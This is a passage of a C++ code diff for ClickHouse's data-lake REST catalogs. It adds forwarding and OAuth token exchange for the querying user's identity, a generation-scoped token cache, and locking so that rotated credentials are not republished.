prepareSettingsChanges(const DB::SettingsChanges & changes); + virtual PreparedSettingsChangesPtr prepareSettingsChanges( + const DB::SettingsChanges & changes, const DB::ForwardedAuthTokenPtr & auth_token = {}); /// Publish the state built by `prepareSettingsChanges`. Must not fail. virtual void commitSettingsChanges(PreparedSettingsChangesPtr prepared); - void applySettingsChanges(const DB::SettingsChanges & changes) + void applySettingsChanges(const DB::SettingsChanges & changes, const DB::ForwardedAuthTokenPtr & auth_token = {}) { - commitSettingsChanges(prepareSettingsChanges(changes)); + commitSettingsChanges(prepareSettingsChanges(changes, auth_token)); } protected: + /// Throws `CATALOG_USER_TOKEN_NOT_AVAILABLE` unless `enable_token_forwarding` is on and the + /// session carries a token. `catalog_description` only names the catalog in the message. + void validateForwardedToken( + const DB::ContextPtr & context, + const DB::ForwardedAuthTokenPtr & auth_token, + const std::string & catalog_description) const; + /// Name of the warehouse, /// which is sometimes also called "catalog name". const std::string warehouse; diff --git a/src/Databases/DataLake/PaimonRestCatalog.cpp b/src/Databases/DataLake/PaimonRestCatalog.cpp index cffce96f082d..2108a143c0d1 100644 --- a/src/Databases/DataLake/PaimonRestCatalog.cpp +++ b/src/Databases/DataLake/PaimonRestCatalog.cpp @@ -413,7 +413,7 @@ void PaimonRestCatalog::forEachTables( } -bool PaimonRestCatalog::empty() const +bool PaimonRestCatalog::empty(const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { DB::Strings databases; DB::Names tables; @@ -427,7 +427,7 @@ bool PaimonRestCatalog::empty() const return tables.empty(); } -DB::Names PaimonRestCatalog::getTables() const +DB::Names PaimonRestCatalog::getTables(const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { DB::Strings databases; DB::Names tables; @@ -436,7 +436,7 @@ DB::Names PaimonRestCatalog::getTables() const return tables; } -bool PaimonRestCatalog::existsTable(const String & database_name, const String & table_name) const +bool PaimonRestCatalog::existsTable(const String & database_name, const String & table_name, const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { try { diff --git a/src/Databases/DataLake/PaimonRestCatalog.h b/src/Databases/DataLake/PaimonRestCatalog.h index 9aab6b815bdf..ccff9da0e48b 100644 --- a/src/Databases/DataLake/PaimonRestCatalog.h +++ b/src/Databases/DataLake/PaimonRestCatalog.h @@ -82,11 +82,12 @@ class PaimonRestCatalog final : public ICatalog, private DB::WithContext ~PaimonRestCatalog() override = default; - bool empty() const override; + /// Paimon REST authenticates with a DLF token of its own; the user's token is ignored. + bool empty(const DB::ForwardedAuthTokenPtr & auth_token) const override; - DB::Names getTables() const override; + DB::Names getTables(const DB::ForwardedAuthTokenPtr & auth_token) const override; - bool existsTable(const String & database_name, const String & table_name) const override; + bool existsTable(const String & database_name, const String & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const override; void getTableMetadata(const String & database_name, const String & table_name, DB::ContextPtr context_, TableMetadata & result) const override; diff --git a/src/Databases/DataLake/RestCatalog.cpp b/src/Databases/DataLake/RestCatalog.cpp index 1247222ce654..d468a15ad29e 100644 --- a/src/Databases/DataLake/RestCatalog.cpp +++ b/src/Databases/DataLake/RestCatalog.cpp @@ -1,7 +1,12 @@ #include #include #include +#include +#include +#include +#include #include +#include #include #include #include @@ -70,6 +75,7 @@ namespace DB::ErrorCodes extern const int FAULT_INJECTED; extern const int NOT_IMPLEMENTED; extern const int CATALOG_NAMESPACE_DISABLED; + extern const int CATALOG_USER_TOKEN_NOT_AVAILABLE; } namespace DB::Setting @@ -88,6 +94,10 @@ namespace ProfileEvents { extern const Event DataLakeRestCatalogCredentialsVended; extern const Event DataLakeRestCatalogCredentialsCacheHits; + extern const Event DataLakeRestCatalogTokenExchange; + extern const Event DataLakeRestCatalogTokenExchangeMicroseconds; + extern const Event DataLakeRestCatalogTokenExchangeFailures; + extern const Event DataLakeRestCatalogUserTokenCacheHits; extern const Event DataLakeRestCatalogLoadConfig; extern const Event DataLakeRestCatalogLoadConfigMicroseconds; extern const Event DataLakeRestCatalogGetNamespaces; @@ -112,6 +122,12 @@ namespace ProfileEvents extern const Event DataLakeRestCatalogDropTableMicroseconds; } +namespace CurrentMetrics +{ + extern const Metric DataLakeCatalogUserTokenCacheBytes; + extern const Metric DataLakeCatalogUserTokenCacheEntries; +} + namespace DB::DatabaseDataLakeSetting { extern const DatabaseDataLakeSettingsString catalog_credential; @@ -453,7 +469,8 @@ RestCatalog::RestCatalog( const std::string & oauth_server_uri_, bool oauth_server_use_request_body_, const std::string & namespaces_, - DB::ContextPtr context_) + DB::ContextPtr context_, + const TokenForwardingConfig & token_forwarding_) : ICatalog(warehouse_) , DB::WithContext(context_) , base_url(correctAPIURI(base_url_)) @@ -461,6 +478,11 @@ RestCatalog::RestCatalog( , auth_scope(auth_scope_) , oauth_server_uri(oauth_server_uri_) , oauth_server_use_request_body(oauth_server_use_request_body_) + , token_forwarding(token_forwarding_) + , user_token_cache( + CurrentMetrics::DataLakeCatalogUserTokenCacheBytes, + CurrentMetrics::DataLakeCatalogUserTokenCacheEntries, + user_token_cache_max_entries) , allowed_namespaces(namespaces_) { CatalogState initial_state; @@ -474,7 +496,14 @@ RestCatalog::RestCatalog( initial_state.auth_header = parseAuthHeader(auth_header_); validateAuthHeaders(initial_state.auth_header.value()); } - initial_state.config = loadConfig(initial_state); + + /// With forwarding there may be no service credential at all, so an unauthenticated + /// `GET /v1/config` would be rejected by a secured catalog. Defer it to the first user query. + if (!token_forwarding.forward_user_token) + { + initial_state.config = loadConfig(initial_state, /* generation */ 0, /* auth_token */ {}); + initial_state.config_loaded = true; + } state.set(std::make_unique(std::move(initial_state))); } @@ -493,12 +522,47 @@ RestCatalog::RestCatalog( , auth_scope(auth_scope_) , oauth_server_uri(oauth_server_uri_) , oauth_server_use_request_body(oauth_server_use_request_body_) + , user_token_cache( + CurrentMetrics::DataLakeCatalogUserTokenCacheBytes, + CurrentMetrics::DataLakeCatalogUserTokenCacheEntries, + user_token_cache_max_entries) , allowed_namespaces(namespaces_) { } -RestCatalog::Config RestCatalog::loadConfig(const CatalogState & catalog_state, const std::optional & auth_headers) +void RestCatalog::loadConfigIfNeeded(const DB::ForwardedAuthTokenPtr & auth_token) const +{ + if (state.get()->config_loaded) + return; + + std::lock_guard lock(config_mutex); + const auto old_state = getStateSnapshot(); + if (old_state->config_loaded) + return; + + auto new_state = std::make_unique(*old_state); + new_state->config = loadConfig(*old_state, old_state.generation, auth_token); + new_state->config_loaded = true; + + /// `config_mutex` does not exclude `commitSettingsChanges`, which publishes without it, so + /// publishing a state built before an `ALTER ... MODIFY SETTING catalog_credential` would + /// carry the old credentials back with it. Drop the config instead of merging it: it was read + /// with credentials no longer in force, which may resolve the warehouse differently. + std::lock_guard publish_lock(auth_publish_mutex); + if (auth_generation.load(std::memory_order_acquire) != old_state.generation) + { + LOG_DEBUG(log, "Catalog credentials changed while `/v1/config` was loading; discarding it"); + return; + } + state.set(std::move(new_state)); +} + +RestCatalog::Config RestCatalog::loadConfig( + const CatalogState & catalog_state, + UInt64 generation, + const DB::ForwardedAuthTokenPtr & auth_token, + const std::optional & auth_headers) const { Poco::URI::QueryParameters params = {{"warehouse", warehouse}}; @@ -507,7 +571,7 @@ RestCatalog::Config RestCatalog::loadConfig(const CatalogState & catalog_state, { ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogLoadConfig); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogLoadConfigMicroseconds); - auto buf = createReadBuffer(catalog_state, CONFIG_ENDPOINT, params, /* headers */{}, auth_headers); + auto buf = createReadBuffer(catalog_state, generation, CONFIG_ENDPOINT, auth_token, params, /* headers */{}, auth_headers); readJSONObjectPossiblyInvalid(json_str, *buf); } @@ -553,31 +617,40 @@ void RestCatalog::validateAuthHeaders(const DB::HTTPHeaderEntry & header) const getContext()->getGlobalContext()->getHTTPHeaderFilter().checkAndNormalizeHeaders(header_to_check); } -DB::HTTPHeaderEntries RestCatalog::getAuthHeaders( - const CatalogState & catalog_state, - bool update_token, - const String & /*method*/, - const Poco::URI & /*url*/, - const DB::HTTPHeaderEntries & /*extra_headers*/, - const String & /*body*/, - bool * used_cached_oauth_token) const +DB::HTTPHeaderEntries RestCatalog::getAuthHeaders(const AuthContext & auth_context) const { fiu_do_on(DB::FailPoints::check_database_datalake_negative, { throw DB::Exception(DB::ErrorCodes::FAULT_INJECTED, "Injecting fault when checking database"); }); - if (used_cached_oauth_token) - *used_cached_oauth_token = false; + if (auth_context.used_cached_oauth_token) + *auth_context.used_cached_oauth_token = false; + + const auto & catalog_state = auth_context.catalog_state; /// Option 1: user specified auth header manually. /// Header has format: 'Authorization: '. + /// Mutually exclusive with forwarding, which `validateSettings` rejects: a static header + /// short-circuits everything below. if (catalog_state.auth_header.has_value()) { return DB::HTTPHeaderEntries{catalog_state.auth_header.value()}; } - /// Option 2: user provided grant_type, client_id and client_secret. + /// Option 2: forward the querying user's identity, either as-is (passthrough) or as the + /// session token obtained by exchanging it. Never falls back to Option 3. + if (token_forwarding.forward_user_token) + { + DB::HTTPHeaderEntries headers; + headers.emplace_back( + "Authorization", + "Bearer " + + getForwardedToken(catalog_state, auth_context.generation, auth_context.auth_token, auth_context.update_token)); + return headers; + } + + /// Option 3: user provided grant_type, client_id and client_secret. /// We would make OAuthClientCredentialsRequest /// https://github.com/apache/iceberg/blob/3badfe0c1fcf0c0adfc7aa4a10f0b50365c48cf9/open-api/rest-catalog-open-api.yaml#L3498C5-L3498C34 if (!catalog_state.client_id.empty()) @@ -587,14 +660,14 @@ DB::HTTPHeaderEntries RestCatalog::getAuthHeaders( /// request fails with 401/403 and is retried with `update_token = true`, fetching /// a token with the snapshot's credentials. auto current = access_token.get(); - if (!current || update_token || current->isExpired()) + if (!current || auth_context.update_token || current->isExpired()) { - access_token.set(std::make_unique(retrieveAccessToken(catalog_state.client_id, catalog_state.client_secret))); - current = access_token.get(); + current = publishServiceToken( + retrieveAccessToken(catalog_state.client_id, catalog_state.client_secret), auth_context.generation); } - else if (used_cached_oauth_token) + else if (auth_context.used_cached_oauth_token) { - *used_cached_oauth_token = true; + *auth_context.used_cached_oauth_token = true; } DB::HTTPHeaderEntries headers; @@ -604,6 +677,119 @@ DB::HTTPHeaderEntries RestCatalog::getAuthHeaders( return {}; } +MultiVersion::Version RestCatalog::publishServiceToken(AccessToken minted, UInt64 generation) const +{ + auto result = std::make_shared(std::move(minted)); + + /// A grant that started before an `ALTER ... MODIFY SETTING catalog_credential` can only + /// finish after it, and would otherwise put the rotated-away credential back in force for the + /// lifetime of this token. The lock stops the ALTER from landing between check and publish. + std::lock_guard lock(auth_publish_mutex); + if (auth_generation.load(std::memory_order_acquire) == generation) + access_token.set(std::make_unique(*result)); + + /// Returned regardless: only sharing the token with later requests is withheld. + return result; +} + +void RestCatalog::validateForwardedToken(const DB::ForwardedAuthTokenPtr & auth_token) const +{ + ICatalog::validateForwardedToken(getContext(), auth_token, warehouse); +} + +String RestCatalog::getForwardedToken( + const CatalogState & catalog_state, UInt64 generation, const DB::ForwardedAuthTokenPtr & auth_token, bool update_token) const +{ + validateForwardedToken(auth_token); + + /// Passthrough: nothing is cached, the token arrives with every request anyway. + if (!token_forwarding.exchangeEnabled()) + return auth_token->token; + + const auto ttl = std::chrono::seconds(token_forwarding.user_token_cache_ttl); + const bool caching_enabled = ttl > std::chrono::seconds::zero(); + + auto exchange = [&] + { + return std::make_shared(exchangeUserToken(catalog_state, generation, *auth_token)); + }; + + if (!caching_enabled) + return exchange()->token; + + /// Scoped to the generation the exchange authenticated in, so that one still in flight when + /// the credentials are rotated writes its result under a key nothing reads any more. + const String cache_key = fmt::format("{}:{}", generation, auth_token->fingerprint); + + if (!update_token) + { + if (auto cached = user_token_cache.get(cache_key); cached && !cached->isExpired()) + { + ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogUserTokenCacheHits); + return cached->token; + } + } + + /// Either the entry expired or the caller asked for a fresh one. Drop it first so that + /// `getOrSetWithOutcome` reloads instead of handing back the stale value, while still + /// collapsing concurrent re-exchanges. + user_token_cache.remove(cache_key); + auto [session_token, outcome] = user_token_cache.getOrSetWithOutcome(cache_key, exchange); + if (outcome == DB::CacheGetOrSetOutcome::Hit) + ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogUserTokenCacheHits); + return session_token->token; +} + +AccessToken RestCatalog::exchangeUserToken( + const CatalogState & catalog_state, UInt64 generation, const DB::ForwardedAuthToken & auth_token, + const AccessToken * prepared_actor_token) const +{ + TokenRequest request; + request.grant = TokenRequest::Grant::TokenExchange; + request.url = Poco::URI(token_forwarding.token_exchange_uri); + request.scope = auth_scope; + request.client_id = catalog_state.client_id; + request.client_secret = catalog_state.client_secret; + request.subject_token = auth_token.token; + request.subject_token_type = token_forwarding.subject_token_type; + request.requested_token_type = token_forwarding.requested_token_type; + + /// Off by default: an `actor_token` is only meaningful to a server that can validate it, + /// which an IdP cannot. If minting it fails the error propagates rather than downgrading the + /// exchange from delegation to plain impersonation. + if (token_forwarding.forward_actor_token) + { + request.actor_token = prepared_actor_token ? prepared_actor_token->token : getServicePrincipalToken(catalog_state, generation); + request.actor_token_type = "urn:ietf:params:oauth:token-type:access_token"; + } + + ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogTokenExchange); + auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogTokenExchangeMicroseconds); + + AccessToken exchanged; + try + { + exchanged = requestToken(request); + } + catch (...) + { + ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogTokenExchangeFailures); + throw; + } + + /// Cap at the configured TTL, and apply it as the expiry when the response carries no + /// `expires_in`: a cached token with no expiry would survive IdP revocation indefinitely. + if (token_forwarding.user_token_cache_ttl > 0) + { + const auto ttl_bound = std::chrono::system_clock::now() + std::chrono::seconds(token_forwarding.user_token_cache_ttl); + if (!exchanged.expires_at.has_value() || exchanged.expires_at.value() > ttl_bound) + exchanged.expires_at = ttl_bound; + } + + LOG_DEBUG(log, "Exchanged the token of user `{}` for a catalog session token", auth_token.principal); + return exchanged; +} + OneLakeCatalog::OneLakeCatalog( const std::string & warehouse_, const std::string & base_url_, @@ -634,7 +820,8 @@ OneLakeCatalog::OneLakeCatalog( initial_state.client_secret = onelake_client_secret; update_token_if_expired = true; } - initial_state.config = loadConfig(initial_state); + initial_state.config = loadConfig(initial_state, /* generation */ 0, /* auth_token */ {}); + initial_state.config_loaded = true; state.set(std::make_unique(std::move(initial_state))); } @@ -689,22 +876,41 @@ void RestCatalog::validateSettingsChanges(const DB::SettingsChanges & changes, b struct RestCatalog::PreparedAuthChanges : ICatalog::PreparedSettingsChanges { std::unique_ptr new_state; - /// Set only when the OAuth credentials changed. + /// A service token prepared with the proposed credentials, when required for authentication or delegation. std::unique_ptr new_access_token; }; -ICatalog::PreparedSettingsChangesPtr RestCatalog::prepareSettingsChanges(const DB::SettingsChanges & changes) +ICatalog::PreparedSettingsChangesPtr RestCatalog::prepareSettingsChanges( + const DB::SettingsChanges & changes, const DB::ForwardedAuthTokenPtr & auth_token) { - const auto old_state = state.get(); + if (token_forwarding.forward_user_token) + validateForwardedToken(auth_token); + const auto old_state = getStateSnapshot(); CatalogState new_state = *old_state; auto prepared = std::make_unique(); std::optional new_auth_headers; applySettingsChangesToState(changes, *old_state, new_state, new_auth_headers, prepared->new_access_token); + if (token_forwarding.forward_user_token) + { + /// Exchange directly, without reading or populating the live user cache: preparation + /// may fail or be abandoned, and concurrent queries must keep the committed credentials. + if (token_forwarding.exchangeEnabled()) + { + if (token_forwarding.forward_actor_token && !prepared->new_access_token) + prepared->new_access_token = std::make_unique(retrieveAccessToken(new_state.client_id, new_state.client_secret)); + const auto session = exchangeUserToken(new_state, old_state.generation, *auth_token, prepared->new_access_token.get()); + new_auth_headers = DB::HTTPHeaderEntries{{"Authorization", "Bearer " + session.token}}; + } + else + new_auth_headers = DB::HTTPHeaderEntries{{"Authorization", "Bearer " + auth_token->token}}; + } + /// The config was loaded with the old credentials; the new ones may resolve the /// warehouse to a different prefix or base location, so reload it before publishing. - new_state.config = loadConfig(new_state, new_auth_headers); + new_state.config = loadConfig(new_state, old_state.generation, auth_token, new_auth_headers); + new_state.config_loaded = true; prepared->new_state = std::make_unique(std::move(new_state)); return prepared; } @@ -715,9 +921,28 @@ void RestCatalog::commitSettingsChanges(ICatalog::PreparedSettingsChangesPtr pre if (!prepared_auth || !prepared_auth->new_state) throw DB::Exception(DB::ErrorCodes::LOGICAL_ERROR, "Settings changes to commit were not prepared by this catalog"); - state.set(std::move(prepared_auth->new_state)); - if (prepared_auth->new_access_token) - access_token.set(std::move(prepared_auth->new_access_token)); + { + /// Under the lock so that a request cannot check the generation, find it unchanged, and + /// only then publish a token minted with the credentials being replaced here. + std::lock_guard lock(auth_publish_mutex); + state.set(std::move(prepared_auth->new_state)); + if (prepared_auth->new_access_token) + access_token.set(std::move(prepared_auth->new_access_token)); + + /// After the state, never before: a reader takes the generation first, so this order + /// leaves it either correct or one generation behind, which costs a wasted cache fill. + auth_generation.fetch_add(1, std::memory_order_release); + } + + /// Both caches hold artifacts derived from the credentials that were just replaced, and + /// keeping them would let a rotated credential work for the rest of the cache TTL. Cleared + /// after the generation is bumped, so that a write slipping past the generation check + /// necessarily started before this clear and is wiped by it. + user_token_cache.clear(); + { + std::lock_guard lock(credentials_cache_mutex); + credentials_cache.clear(); + } } void RestCatalog::applySettingsChangesToState( @@ -747,27 +972,19 @@ void RestCatalog::applySettingsChangesToState( throw DB::Exception(DB::ErrorCodes::LOGICAL_ERROR, "Unexpected setting `{}` after validation", change.name); } - if (credential_mode && (new_state.client_id != old_state.client_id || new_state.client_secret != old_state.client_secret)) + if (credential_mode && (!token_forwarding.forward_user_token || token_forwarding.forward_actor_token) + && (new_state.client_id != old_state.client_id || new_state.client_secret != old_state.client_secret)) { - /// Eagerly fetch a token with the not-yet-published credentials: wrong credentials - /// fail the ALTER right here, and the config reload authenticates with that token - /// instead of the cached one. + /// Validate the proposed credentials without publishing the token. Under forwarding + /// it is used only as the exchange actor; otherwise it signs the config reload. new_access_token = std::make_unique(retrieveAccessToken(new_state.client_id, new_state.client_secret)); new_auth_headers = DB::HTTPHeaderEntries{{"Authorization", "Bearer " + new_access_token->token}}; } } -DB::HTTPHeaderEntries OneLakeCatalog::getAuthHeaders( - const CatalogState & catalog_state, - bool update_token, - const String & method, - const Poco::URI & url, - const DB::HTTPHeaderEntries & extra_headers, - const String & body, - bool * used_cached_oauth_token) const +DB::HTTPHeaderEntries OneLakeCatalog::getAuthHeaders(const AuthContext & auth_context) const { - auto headers - = RestCatalog::getAuthHeaders(catalog_state, update_token, method, url, extra_headers, body, used_cached_oauth_token); + auto headers = RestCatalog::getAuthHeaders(auth_context); headers.emplace_back("User-Agent", fmt::format("ClickHouse/{}{} OneLake-Catalog", VERSION_STRING, VERSION_OFFICIAL)); return headers; } @@ -858,59 +1075,72 @@ namespace } -AccessToken RestCatalog::retrieveAccessToken(const std::string & client_id, const std::string & client_secret) const +AccessToken RestCatalog::requestToken(const TokenRequest & token_request) const { - ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogAuthTokenRetrieve); - auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogAuthTokenRefreshedMicroseconds); - - static constexpr auto oauth_tokens_endpoint = "oauth/tokens"; - - /// TODO: - /// 1. support oauth2-server-uri - /// https://github.com/apache/iceberg/blob/918f81f3c3f498f46afcea17c1ac9cdc6913cb5c/open-api/rest-catalog-open-api.yaml#L183C82-L183C99 - - Poco::URI url; + Poco::URI url = token_request.url; DB::ReadWriteBufferFromHTTP::OutStreamCallback out_stream_callback; size_t body_size = 0; String body; - if (oauth_server_uri.empty() && !oauth_server_use_request_body) + /// Both grants authenticate with `client_id`/`client_secret` in the form body -- standard + /// OAuth token-endpoint client authentication. Sending the catalog's bearer token as well, + /// as Iceberg's own client does for the exchange, is rejected by strict servers as multiple + /// client-authentication methods. + std::vector> params; + if (token_request.grant == TokenRequest::Grant::ClientCredentials) { - url = Poco::URI(base_url / oauth_tokens_endpoint); - - Poco::URI::QueryParameters params = { - {"grant_type", "client_credentials"}, - {"scope", auth_scope}, - {"client_id", client_id}, - {"client_secret", client_secret}, - }; - url.setQueryParameters(params); + params.emplace_back("grant_type", "client_credentials"); + params.emplace_back("scope", token_request.scope); + params.emplace_back("client_id", token_request.client_id); + params.emplace_back("client_secret", token_request.client_secret); } else { - String encoded_auth_scope; - String encoded_client_id; - String encoded_client_secret; - Poco::URI::encode(auth_scope, auth_scope, encoded_auth_scope); - Poco::URI::encode(client_id, client_id, encoded_client_id); - Poco::URI::encode(client_secret, client_secret, encoded_client_secret); + params.emplace_back("grant_type", "urn:ietf:params:oauth:grant-type:token-exchange"); + params.emplace_back("subject_token", token_request.subject_token); + params.emplace_back("subject_token_type", token_request.subject_token_type); + /// An empty `requested_token_type` means "omit the field", per the setting's description. + if (!token_request.requested_token_type.empty()) + params.emplace_back("requested_token_type", token_request.requested_token_type); + if (!token_request.scope.empty()) + params.emplace_back("scope", token_request.scope); + /// Absent rather than empty when disabled: strict servers reject an empty `actor_token`. + if (!token_request.actor_token.empty()) + { + params.emplace_back("actor_token", token_request.actor_token); + params.emplace_back("actor_token_type", token_request.actor_token_type); + } + params.emplace_back("client_id", token_request.client_id); + params.emplace_back("client_secret", token_request.client_secret); + } - body = fmt::format( - "grant_type=client_credentials&scope={}&client_id={}&client_secret={}", - encoded_auth_scope, encoded_client_id, encoded_client_secret); + if (token_request.use_query_parameters) + { + Poco::URI::QueryParameters query_params(params.begin(), params.end()); + url.setQueryParameters(query_params); + } + else + { + DB::WriteBufferFromOwnString wb; + bool first = true; + for (const auto & [name, value] : params) + { + if (!first) + wb << "&"; + first = false; + wb << name << "=" << DB::formUrlEncode(value); + } + body = wb.str(); body_size = body.size(); out_stream_callback = [&](std::ostream & os) { os << body; }; - - if (oauth_server_uri.empty()) - url = Poco::URI(base_url / oauth_tokens_endpoint); - else - url = Poco::URI(oauth_server_uri); } const auto & context = getContext(); + /// Checked for the exchange endpoint too: the URL is chosen by whoever created the database, + /// and the request carries the querying user's own token. context->getRemoteHostFilter().checkHostAndPort(url.getHost(), std::to_string(url.getPort())); auto timeouts = DB::ConnectionTimeouts::getHTTPTimeouts(context->getSettingsRef(), context->getServerSettings()); auto session = makeHTTPSession(DB::HTTPConnectionGroupType::HTTP, url, timeouts, {}); @@ -932,11 +1162,33 @@ AccessToken RestCatalog::retrieveAccessToken(const std::string & client_id, cons std::string json_str; Poco::StreamCopier::copyToString(rs, json_str); - Poco::JSON::Parser parser; - Poco::Dynamic::Var res_json = parser.parse(json_str); - const Poco::JSON::Object::Ptr & object = res_json.extract(); + /// The failures below name the endpoint and the status but never the response body: an OAuth + /// error response may echo the request, which for an exchange carries the user's token. + const auto describe_endpoint = [&url, &response] + { + return fmt::format( + "OAuth token endpoint {}://{}:{}{} returned HTTP {}", + url.getScheme(), url.getHost(), url.getPort(), url.getPath(), + static_cast(response.getStatus())); + }; + + Poco::JSON::Object::Ptr object; + try + { + object = Poco::JSON::Parser().parse(json_str).extract(); + } + catch (const Poco::Exception &) + { + object = nullptr; + } + if (!object) + throw DB::Exception( + DB::ErrorCodes::DATALAKE_DATABASE_ERROR, "{} with a body that is not a JSON object", describe_endpoint()); AccessToken token; + if (!object->has("access_token")) + throw DB::Exception( + DB::ErrorCodes::DATALAKE_DATABASE_ERROR, "{} with no `access_token` field", describe_endpoint()); token.token = object->get("access_token").extract(); if (object->has("expires_in")) @@ -950,6 +1202,43 @@ AccessToken RestCatalog::retrieveAccessToken(const std::string & client_id, cons return token; } +AccessToken RestCatalog::retrieveAccessToken(const std::string & client_id, const std::string & client_secret) const +{ + static constexpr auto oauth_tokens_endpoint = "oauth/tokens"; + + /// Does not honour the catalog-advertised `oauth2-server-uri` from `/v1/config`; the explicit + /// settings cover every deployable case. + TokenRequest request; + request.grant = TokenRequest::Grant::ClientCredentials; + request.scope = auth_scope; + request.client_id = client_id; + request.client_secret = client_secret; + + if (oauth_server_uri.empty() && !oauth_server_use_request_body) + { + request.url = Poco::URI(base_url / oauth_tokens_endpoint); + request.use_query_parameters = true; + } + else + { + request.url = oauth_server_uri.empty() ? Poco::URI(base_url / oauth_tokens_endpoint) : Poco::URI(oauth_server_uri); + } + + ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogAuthTokenRetrieve); + auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogAuthTokenRefreshedMicroseconds); + return requestToken(request); +} + +String RestCatalog::getServicePrincipalToken(const CatalogState & catalog_state, UInt64 generation) const +{ + /// Same caching rule as the `client_credentials` branch of `getAuthHeaders`: reuse the token + /// in `access_token` until it falls outside its validity window, then mint a new one. + auto current = access_token.get(); + if (!current || current->isExpired()) + current = publishServiceToken(retrieveAccessToken(catalog_state.client_id, catalog_state.client_secret), generation); + return current->token; +} + BigLakeCatalog::BigLakeCatalog( const std::string & warehouse_, const std::string & base_url_, @@ -978,18 +1267,12 @@ BigLakeCatalog::BigLakeCatalog( access_token.set(std::make_unique(retrieveGoogleCloudAccessToken())); } CatalogState initial_state; - initial_state.config = loadConfig(initial_state); + initial_state.config = loadConfig(initial_state, /* generation */ 0, /* auth_token */ {}); + initial_state.config_loaded = true; state.set(std::make_unique(std::move(initial_state))); } -DB::HTTPHeaderEntries BigLakeCatalog::getAuthHeaders( - const CatalogState & catalog_state, - bool update_token, - const String & method, - const Poco::URI & url, - const DB::HTTPHeaderEntries & extra_headers, - const String & body, - bool * used_cached_oauth_token) const +DB::HTTPHeaderEntries BigLakeCatalog::getAuthHeaders(const AuthContext & auth_context) const { /// Google Cloud OAuth2 for BigLake. /// Uses GCP metadata service or Application Default Credentials to get access token. @@ -997,18 +1280,18 @@ DB::HTTPHeaderEntries BigLakeCatalog::getAuthHeaders( /// https://developers.google.com/identity/protocols/oauth2 if (!google_project_id.empty() || !google_adc_client_id.empty()) { - if (used_cached_oauth_token) - *used_cached_oauth_token = false; + if (auth_context.used_cached_oauth_token) + *auth_context.used_cached_oauth_token = false; auto current = access_token.get(); - if (!current || update_token || current->isExpired()) + if (!current || auth_context.update_token || current->isExpired()) { access_token.set(std::make_unique(retrieveGoogleCloudAccessToken())); current = access_token.get(); } - else if (used_cached_oauth_token) + else if (auth_context.used_cached_oauth_token) { - *used_cached_oauth_token = true; + *auth_context.used_cached_oauth_token = true; } DB::HTTPHeaderEntries headers; @@ -1028,7 +1311,7 @@ DB::HTTPHeaderEntries BigLakeCatalog::getAuthHeaders( return headers; } - return RestCatalog::getAuthHeaders(catalog_state, update_token, method, url, extra_headers, body, used_cached_oauth_token); + return RestCatalog::getAuthHeaders(auth_context); } AccessToken BigLakeCatalog::retrieveGoogleCloudAccessTokenFromRefreshToken() const @@ -1154,15 +1437,18 @@ AccessToken BigLakeCatalog::retrieveGoogleCloudAccessToken() const std::optional RestCatalog::getStorageType() const { - const auto state_snapshot = state.get(); - if (state_snapshot->config.default_base_location.empty()) + const auto state_snapshot = getStateSnapshot(); + /// Under forwarding the config is filled in lazily by the first user query. + if (!state_snapshot->config_loaded || state_snapshot->config.default_base_location.empty()) return std::nullopt; return parseStorageTypeFromLocation(state_snapshot->config.default_base_location); } DB::ReadWriteBufferFromHTTPPtr RestCatalog::createReadBuffer( const CatalogState & catalog_state, + UInt64 generation, const std::string & endpoint, + const DB::ForwardedAuthTokenPtr & auth_token, const Poco::URI::QueryParameters & params, const DB::HTTPHeaderEntries & headers, const std::optional & auth_headers) const @@ -1176,10 +1462,18 @@ DB::ReadWriteBufferFromHTTPPtr RestCatalog::createReadBuffer( auto create_buffer = [&](bool update_token, bool & used_cached_oauth_token) { - auto result_headers = auth_headers - ? *auth_headers - : getAuthHeaders( - catalog_state, update_token, Poco::Net::HTTPRequest::HTTP_GET, url, headers, {}, &used_cached_oauth_token); + AuthContext auth_context{ + .catalog_state = catalog_state, + .generation = generation, + .update_token = update_token, + .method = Poco::Net::HTTPRequest::HTTP_GET, + .url = url, + .extra_headers = headers, + .body = {}, + .auth_token = auth_token, + .used_cached_oauth_token = &used_cached_oauth_token, + }; + auto result_headers = auth_headers ? *auth_headers : getAuthHeaders(auth_context); std::move(headers.begin(), headers.end(), std::back_inserter(result_headers)); return DB::BuilderRWBufferFromHTTP(url) @@ -1206,20 +1500,32 @@ DB::ReadWriteBufferFromHTTPPtr RestCatalog::createReadBuffer( catch (const DB::HTTPException & e) { const auto status = e.getHTTPStatus(); - if (update_token_if_expired && - (status == Poco::Net::HTTPResponse::HTTPStatus::HTTP_UNAUTHORIZED - || status == Poco::Net::HTTPResponse::HTTPStatus::HTTP_FORBIDDEN)) - { - ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogUnauthorized); - bool used_cached_oauth_token_on_retry = false; - return create_buffer(true, used_cached_oauth_token_on_retry); - } - throw; + if (!shouldRetryWithFreshToken(status)) + throw; + + ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogUnauthorized); + bool used_cached_oauth_token_on_retry = false; + return create_buffer(true, used_cached_oauth_token_on_retry); } } -bool RestCatalog::empty() const +bool RestCatalog::shouldRetryWithFreshToken(Poco::Net::HTTPResponse::HTTPStatus status) const { + /// Under forwarding the retry must never re-mint as the service principal. Only 401, where + /// the token may genuinely have expired mid-query, re-runs that principal's exchange; 403 is + /// an authorization decision and is terminal. Passthrough has nothing to re-mint. + if (token_forwarding.forward_user_token) + return token_forwarding.exchangeEnabled() && status == Poco::Net::HTTPResponse::HTTPStatus::HTTP_UNAUTHORIZED; + + return update_token_if_expired + && (status == Poco::Net::HTTPResponse::HTTPStatus::HTTP_UNAUTHORIZED + || status == 